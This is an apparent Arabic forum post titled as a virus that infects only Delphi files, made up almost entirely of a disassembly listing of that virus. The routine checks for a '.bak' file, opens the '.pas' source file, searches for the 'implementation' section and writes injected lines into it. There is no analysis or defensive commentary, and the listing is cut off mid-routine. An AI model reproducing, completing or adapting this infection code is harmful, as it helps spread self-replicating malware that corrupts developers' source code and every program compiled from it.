فيروس يصيب ملفات Delphi فقط

[STRELiTZIA]

كود :

00408084 /$ 55 PUSH EBP 00408085 |. 8BEC MOV EBP,ESP 00408087 |. 51 PUSH ECX 00408088 |. B9 88000000 MOV ECX,88 0040808D |> 6A 00 /PUSH 0 0040808F |. 6A 00 |PUSH 0 00408091 |. 49 |DEC ECX 00408092 |.^ 75 F9 \JNZ SHORT Test.0040808D 00408094 |. 874D FC XCHG DWORD PTR SS:[EBP-4],ECX 00408097 |. 53 PUSH EBX 00408098 |. 56 PUSH ESI 00408099 |. 57 PUSH EDI 0040809A |. 894D F4 MOV DWORD PTR SS:[EBP-C],ECX 0040809D |. 8955 F8 MOV DWORD PTR SS:[EBP-8],EDX 004080A0 |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX 004080A3 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 004080A6 |. E8 D1CCFFFF CALL Test.00404D7C 004080AB |. 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] 004080AE |. E8 C9CCFFFF CALL Test.00404D7C 004080B3 |. 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C] 004080B6 |. E8 C1CCFFFF CALL Test.00404D7C 004080BB |. 8DBD 44FCFFFF LEA EDI,DWORD PTR SS:[EBP-3BC] 004080C1 |. 33C0 XOR EAX,EAX 004080C3 |. 55 PUSH EBP 004080C4 |. 68 D4844000 PUSH Test.004084D4 004080C9 |. 64:FF30 PUSH DWORD PTR FS:[EAX] 004080CC |. 64:8920 MOV DWORD PTR FS:[EAX],ESP 004080CF |. 6A 00 PUSH 0 004080D1 |. 6A 00 PUSH 0 004080D3 |. 6A 03 PUSH 3 004080D5 |. 6A 00 PUSH 0 004080D7 |. 6A 00 PUSH 0 004080D9 |. 6A 00 PUSH 0 004080DB |. 8D85 ECFBFFFF LEA EAX,DWORD PTR SS:[EBP-414] 004080E1 |. B9 EC844000 MOV ECX,Test.004084EC ; ASCII "bak" 004080E6 |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8] 004080E9 |. E8 EACAFFFF CALL Test.00404BD8 004080EE |. 8B85 ECFBFFFF MOV EAX,DWORD PTR SS:[EBP-414] 004080F4 |. E8 93CCFFFF CALL Test.00404D8C 004080F9 |. 50 PUSH EAX ; |FileName 004080FA |. E8 95E8FFFF CALL <JMP.&kernel32.CreateFileA> ; \CreateFileA 004080FF |. 8BD8 MOV EBX,EAX 00408101 |. 83FB FF CMP EBX,-1 00408104 |. 74 0B JE SHORT Test.00408111 00408106 |. 53 PUSH EBX ; /hObject 00408107 |. E8 70E8FFFF CALL <JMP.&kernel32.CloseHandle> ; \CloseHandle 0040810C |. E9 98030000 JMP Test.004084A9 00408111 |> 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4] 00408114 |. 8D85 10FEFFFF LEA EAX,DWORD PTR SS:[EBP-1F0] 0040811A |. E8 B1AEFFFF CALL Test.00402FD0 0040811F |. 8D85 10FEFFFF LEA EAX,DWORD PTR SS:[EBP-1F0] 00408125 |. E8 36ACFFFF CALL Test.00402D60 0040812A |. E8 C5AAFFFF CALL Test.00402BF4 0040812F |. E8 34ABFFFF CALL Test.00402C68 00408134 |. 85C0 TEST EAX,EAX 00408136 |. 0F85 6D030000 JNZ Test.004084A9 0040813C |. 8D85 E8FBFFFF LEA EAX,DWORD PTR SS:[EBP-418] 00408142 |. B9 F8844000 MOV ECX,Test.004084F8 ; ASCII "pas" 00408147 |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8] 0040814A |. E8 89CAFFFF CALL Test.00404BD8 0040814F |. 8B95 E8FBFFFF MOV EDX,DWORD PTR SS:[EBP-418] 00408155 |. 8BC7 MOV EAX,EDI 00408157 |. E8 74AEFFFF CALL Test.00402FD0 0040815C |. 8BC7 MOV EAX,EDI 0040815E |. E8 09ACFFFF CALL Test.00402D6C 00408163 |. E8 8CAAFFFF CALL Test.00402BF4 00408168 |. E8 FBAAFFFF CALL Test.00402C68 0040816D |. 85C0 TEST EAX,EAX 0040816F |. 74 58 JE SHORT Test.004081C9 00408171 |. 8D85 10FEFFFF LEA EAX,DWORD PTR SS:[EBP-1F0] 00408177 |. E8 1CAFFFFF CALL Test.00403098 0040817C |. E8 73AAFFFF CALL Test.00402BF4 00408181 |. E9 23030000 JMP Test.004084A9 00408186 |> 8D55 FC /LEA EDX,DWORD PTR SS:[EBP-4] 00408189 |. 8D85 10FEFFFF |LEA EAX,DWORD PTR SS:[EBP-1F0] 0040818F |. E8 F8B1FFFF |CALL Test.0040338C 00408194 |. 8D85 10FEFFFF |LEA EAX,DWORD PTR SS:[EBP-1F0] 0040819A |. E8 59B2FFFF |CALL Test.004033F8 0040819F |. E8 50AAFFFF |CALL Test.00402BF4 004081A4 |. 8B55 FC |MOV EDX,DWORD PTR SS:[EBP-4] 004081A7 |. 8BC7 |MOV EAX,EDI 004081A9 |. E8 CECDFFFF |CALL Test.00404F7C 004081AE |. E8 5DB4FFFF |CALL Test.00403610 004081B3 |. E8 3CAAFFFF |CALL Test.00402BF4 004081B8 |. 8B55 FC |MOV EDX,DWORD PTR SS:[EBP-4] 004081BB |. B8 04854000 |MOV EAX,Test.00408504 ; ASCII "implementation" 004081C0 |. E8 0BCDFFFF |CALL Test.00404ED0 004081C5 |. 85C0 |TEST EAX,EAX 004081C7 |. 75 14 |JNZ SHORT Test.004081DD 004081C9 |> 8D85 10FEFFFF LEA EAX,DWORD PTR SS:[EBP-1F0] 004081CF |. E8 2CB0FFFF |CALL Test.00403200 004081D4 |. E8 1BAAFFFF |CALL Test.00402BF4 004081D9 |. 84C0 |TEST AL,AL 004081DB |.^ 74 A9 \JE SHORT Test.00408186 004081DD |> BB 01000000 MOV EBX,1 004081E2 |. BE C0F04400 MOV ESI,Test.0044F0C0 004081E7 |> 8B16 /MOV EDX,DWORD PTR DS:[ESI] 004081E9 |. 8BC7 |MOV EAX,EDI 004081EB |. E8 8CCDFFFF |CALL Test.00404F7C 004081F0 |. E8 1BB4FFFF |CALL Test.00403610 004081F5 |. E8 FAA9FFFF |CALL Test.00402BF4 004081FA |. 83C6 04 |ADD ESI,4 004081FD |. 4B |DEC EBX 004081FE |.^ 75 E7 \JNZ SHORT Test.004081E7 00408200 |. BB 17000000 MOV EBX,17 00408205 |. BE C0F04400 MOV ESI,Test.0044F0C0 0040820A |> 8B0E /MOV ECX,DWORD PTR DS:[ESI] 0040820C |. 8D85 E4FBFFFF |LEA EAX,DWORD PTR SS:[EBP-41C] 00408212 |. BA 1C854000 |MOV EDX,Test.0040851C 00408217 |. E8 BCC9FFFF |CALL Test.00404BD8 0040821C |. 8B95 E4FBFFFF |MOV EDX,DWORD PTR SS:[EBP-41C] 00408222 |. 8BC7 |MOV EAX,EDI 00408224 |. E8 53CDFFFF |CALL Test.00404F7C 00408229 |. BA 28854000 |MOV EDX,Test.00408528 ; ASCII "'," 0040822E |. E8 49CDFFFF |CALL Test.00404F7C 00408233 |. E8 D8B3FFFF |CALL Test.00403610 00408238 |. E8 B7A9FFFF |CALL Test.00402BF4